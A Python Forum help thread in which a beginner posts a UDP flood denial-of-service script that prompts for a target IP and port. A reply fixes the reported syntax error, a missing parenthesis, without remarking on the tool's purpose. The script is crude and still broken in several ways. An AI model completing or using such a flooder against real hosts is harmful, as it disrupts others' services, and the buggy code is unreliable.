Python Forum
Stynax error where stynax is fine :(
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Stynax error where stynax is fine :(
#1
so I'm new to python and as a project I decided to make a DoSer with socket and _thread modules
but I keep getting a syntax error in a perfect line on line 19 I get the error:
Error:
File "C:\Users\hbgra\Desktop\sandbox2.py", line 19 sent = sent + 1 ^ SyntaxError: invalid syntax.
heres the code:

import socket
import _thread
import os
import time
import random
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip=input("TARGET: ")
port=input("PORT: ")
duration=input("ATTACK TIME")
timeout = time.sleep(0.5)
os.system("cls")
sent = 0
def gooey(threadName):
	count = 0
	while count < 5:
		bytes = random._urandom(9999999)
		s.sendto(bytes,(ip, port)
		sent = sent + 1
		print('Sent ' + sent + ' packets')
###########################################		
_thread.start_new_thread( gooey ("Thread_1") )
_thread.start_new_thread( gooey ("Thread_2") )


Please Help! Huh Wall
Reply
#2
you have missing closing parenthesis on line 17
Sometimes the error is on the line immediately before the one stated in the traceback
If you can't explain it to a six year old, you don't understand it yourself, Albert Einstein
How to Ask Questions The Smart Way: link and another link
Create MCV example
Debug small programs

Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How to fine tune cutecharts? Gigux 1 1,223 Jan-28-2022, 05:41 PM
Last Post: Larz60+
  For Loop Works Fine But Append For Pandas Doesn't Work knight2000 2 1,998 Dec-18-2021, 02:38 AM
Last Post: knight2000
  Multimode imports fine as script but not after compiling into exe chesschaser 0 2,397 Aug-13-2020, 01:28 PM
Last Post: chesschaser
  Pyautogui script runs fine if split into two parts together it does not Bmart6969 1 2,533 Oct-07-2019, 10:53 PM
Last Post: Bmart6969
  assignment: not an operator nor expression, but x=y=z=3 works fine? jefdaels 1 2,174 Jan-29-2019, 02:19 PM
Last Post: perfringo
  Dict KeyError in cgi-bin script, works fine via console dbsoundman 2 3,887 Jul-21-2017, 08:03 PM
Last Post: dbsoundman

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020